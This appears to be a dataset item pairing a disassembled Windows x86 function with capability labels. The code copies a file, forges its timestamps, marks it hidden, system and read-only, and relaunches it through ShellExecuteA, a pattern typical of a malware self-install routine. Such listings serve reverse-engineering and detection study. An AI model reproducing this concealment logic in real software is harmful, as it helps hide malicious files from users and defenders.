Function at 0x405eb0
Capabilities:
Copy file
Create process on windows
Enumerate files on windows
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x43
push 0
push 0
dec ecx
jne 0x405eb8
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x406797
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x150]
call fcn.00406ad8
mov eax, dword [ebp - 0x150]
push eax
lea eax, [ebp - 0x154]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
mov eax, dword [ebp - 0x154]
mov edx, 0x4067b0
pop ecx
call fcn.00406858
mov edx, dword [ebp - 0x14c]
mov eax, dword [0x4097bc]
add eax, 0x300
mov ecx, 0xff
call fcn.00404338
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x15c]
call fcn.00406b40
mov eax, dword [ebp - 0x15c]
push eax
lea eax, [ebp - 0x160]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
mov eax, dword [ebp - 0x160]
mov edx, 0x4067c4
pop ecx
call fcn.00406858
mov edx, dword [ebp - 0x158]
mov eax, dword [0x4097bc]
add eax, 0x300
mov ecx, 0xff
call fcn.00404338
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x168]
call fcn.00406ba8
mov eax, dword [ebp - 0x168]
push eax
lea eax, [ebp - 0x16c]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
mov eax, dword [ebp - 0x16c]
mov edx, 0x4067d8
pop ecx
call fcn.00406858
mov edx, dword [ebp - 0x164]
mov eax, dword [0x4097bc]
add eax, 0x300
mov ecx, 0xff
call fcn.00404338
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x174]
call fcn.00406c10
mov eax, dword [ebp - 0x174]
push eax
lea eax, [ebp - 0x178]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
mov eax, dword [ebp - 0x178]
mov edx, 0x4067ec
pop ecx
call fcn.00406858
mov edx, dword [ebp - 0x170]
mov eax, dword [0x4097bc]
add eax, 0x300
mov ecx, 0xff
call fcn.00404338
lea eax, [ebp - 0x17c]
push eax
lea edx, [ebp - 0x180]
mov eax, 0x1c
call fcn.00406c4c
mov eax, dword [ebp - 0x180]
push eax
lea eax, [ebp - 0x184]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
mov eax, dword [ebp - 0x184]
mov edx, 0x406800
pop ecx
call fcn.00406858
mov edx, dword [ebp - 0x17c]
mov eax, dword [0x4097bc]
add eax, 0x300
mov ecx, 0xff
call fcn.00404338
mov eax, dword [0x4097bc]
cmp byte [eax + 0xa00], 0
je 0x406774
xor eax, eax
push ebp
push 0x4060f8
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 6
lea eax, [ebp - 0x188]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
mov eax, dword [ebp - 0x188]
call fcn.00406a4c
push 0xa
call sub.kernel32.dll_Sleep_1
dec ebx
jne 0x4060c2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x406102
lea edx, [ebp - 0x190]
xor eax, eax
call fcn.00402f3c
mov eax, dword [ebp - 0x190]
lea edx, [ebp - 0x18c]
call fcn.00406a88
mov eax, dword [ebp - 0x18c]
push eax
lea eax, [ebp - 0x198]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x19c]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
mov edx, dword [ebp - 0x19c]
pop eax
call fcn.00404368
mov eax, dword [ebp - 0x198]
lea edx, [ebp - 0x194]
call fcn.00406a88
mov edx, dword [ebp - 0x194]
pop eax
call fcn.004044c4
je 0x406774
lea eax, [ebp - 0x1a0]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x1a4]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
mov edx, dword [ebp - 0x1a4]
pop eax
call fcn.00404368
mov eax, dword [ebp - 0x1a0]
call fcn.00406a54
test al, al
jne 0x406774
mov eax, dword [0x4097bc]
cmp byte [eax + 0x800], 0
je 0x406277
push 0xffffffffffffffff
lea eax, [ebp - 0x1a8]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
lea eax, [ebp - 0x1a8]
push eax
lea eax, [ebp - 0x1ac]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
mov edx, dword [ebp - 0x1ac]
pop eax
call fcn.00404368
mov eax, dword [ebp - 0x1a8]
call fcn.0040452c
push eax
lea eax, [ebp - 0x1b0]
mov edx, dword [0x4097bc]
add edx, 0x800
call fcn.00404314
lea eax, [ebp - 0x1b0]
xor edx, edx
call fcn.00404368
mov eax, dword [ebp - 0x1b0]
call fcn.0040452c
push eax
call sub.kernel32.dll_CopyFileA
jmp 0x4062e4
push 0xffffffffffffffff
lea eax, [ebp - 0x1b4]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0x1b8]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
mov edx, dword [ebp - 0x1b8]
pop eax
call fcn.00404368
mov eax, dword [ebp - 0x1b4]
call fcn.0040452c
push eax
lea edx, [ebp - 0x1bc]
xor eax, eax
call fcn.00402f3c
mov eax, dword [ebp - 0x1bc]
call fcn.0040452c
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x4097bc]
cmp byte [eax + 0xa03], 0
je 0x4064a1
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x1c0]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
lea eax, [ebp - 0x1c0]
mov edx, 0x406814
call fcn.00404368
mov eax, dword [ebp - 0x1c0]
call fcn.0040452c
push eax
call sub.kernel32.dll_FindFirstFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4063fe
jmp 0x40634f
lea eax, [ebp - 0x148]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
lea eax, [ebp - 0x1c4]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00404320
mov eax, dword [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x1c8]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
mov edx, dword [ebp - 0x1c8]
pop eax
call fcn.004044c4
je 0x406342
lea eax, [ebp - 0x1cc]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00404320
mov eax, dword [ebp - 0x1cc]
mov edx, 0x406820
call fcn.004044c4
je 0x406342
lea eax, [ebp - 0x1d0]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.00404320
mov eax, dword [ebp - 0x1d0]
mov edx, 0x40682c
call fcn.004044c4
je 0x406342
cmp ebx, 0xffffffff
je 0x406418
mov eax, dword [ebp - 0x134]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 4], eax
jmp 0x406418
mov eax, 0x19999999
call fcn.00402f9c
mov dword [ebp - 8], eax
mov eax, 0x19999999
call fcn.00402f9c
mov dword [ebp - 4], eax
push ebx
call sub.kernel32.dll_FindClose
push 0
push 0x80
push 3
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x1d4]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
lea eax, [ebp - 0x1d4]
push eax
lea eax, [ebp - 0x1d8]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
mov edx, dword [ebp - 0x1d8]
pop eax
call fcn.00404368
mov eax, dword [ebp - 0x1d4]
call fcn.0040452c
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40649b
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
push ebx
call sub.kernel32.dll_SetFileTime
push ebx
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x1dc]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
lea eax, [ebp - 0x1dc]
push eax
lea eax, [ebp - 0x1e0]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
mov edx, dword [ebp - 0x1e0]
pop eax
call fcn.00404368
mov eax, dword [ebp - 0x1dc]
call fcn.0040452c
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
or ebx, 2
or ebx, 1
or ebx, 4
push ebx
lea eax, [ebp - 0x1e4]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
lea eax, [ebp - 0x1e4]
push eax
lea eax, [ebp - 0x1e8]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
mov edx, dword [ebp - 0x1e8]
pop eax
call fcn.00404368
mov eax, dword [ebp - 0x1e4]
call fcn.0040452c
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [0x4097bc]
cmp byte [eax + 0xa01], 1
jne 0x4066ea
push 0x1f4
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x4097bc]
cmp byte [eax + 0x800], 0
je 0x40663b
push 0
push 0
push 0x406838
lea eax, [ebp - 0x1f0]
mov edx, dword [0x4097bc]
add edx, 0x800
call fcn.00404314
push dword [ebp - 0x1f0]
push 0x406848
lea eax, [ebp - 0x1ec]
mov edx, 3
call fcn.00404430
mov eax, dword [ebp - 0x1ec]
call fcn.0040452c
push eax
push 0x406848
lea eax, [ebp - 0x1f8]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
push dword [ebp - 0x1f8]
lea eax, [ebp - 0x1fc]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
push dword [ebp - 0x1fc]
push 0x406848
lea eax, [ebp - 0x1f4]
mov edx, 4
call fcn.00404430
mov eax, dword [ebp - 0x1f4]
call fcn.0040452c
push eax
push 0x40684c
call sub.user32.dll_GetDesktopWindow
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x4066f4
push 0
push 0
push 0x406838
lea edx, [ebp - 0x204]
xor eax, eax
call fcn.00402f3c
push dword [ebp - 0x204]
push 0x406848
lea eax, [ebp - 0x200]
mov edx, 3
call fcn.00404430
mov eax, dword [ebp - 0x200]
call fcn.0040452c
push eax
push 0x406848
lea eax, [ebp - 0x20c]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
push dword [ebp - 0x20c]
lea eax, [ebp - 0x210]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
push dword [ebp - 0x210]
push 0x406848
lea eax, [ebp - 0x208]
mov edx, 4
call fcn.00404430
mov eax, dword [ebp - 0x208]
call fcn.0040452c
push eax
push 0x40684c
call sub.user32.dll_GetDesktopWindow
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x4066f4
push 0x1f4
call sub.kernel32.dll_Sleep_1
push 0
push 0
push 0x406854
push 0x406848
lea eax, [ebp - 0x218]
mov edx, dword [0x4097bc]
add edx, 0x300
call fcn.00404314
push dword [ebp - 0x218]
lea eax, [ebp - 0x21c]
mov edx, dword [0x4097bc]
add edx, 0x200
call fcn.00404314
push dword [ebp - 0x21c]
push 0x406848
lea eax, [ebp - 0x214]
mov edx, 4
call fcn.00404430
mov eax, dword [ebp - 0x214]
call fcn.0040452c
push eax
push 0x40684c
call sub.user32.dll_GetDesktopWindow
push eax
call sub.shell32.dll_ShellExecuteA
push 0
call sub.kernel32.dll_ExitProcess_1
call fcn.00405e98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40679e
lea eax, [ebp - 0x21c]
mov edx, 0x35
call fcn.004041d8
ret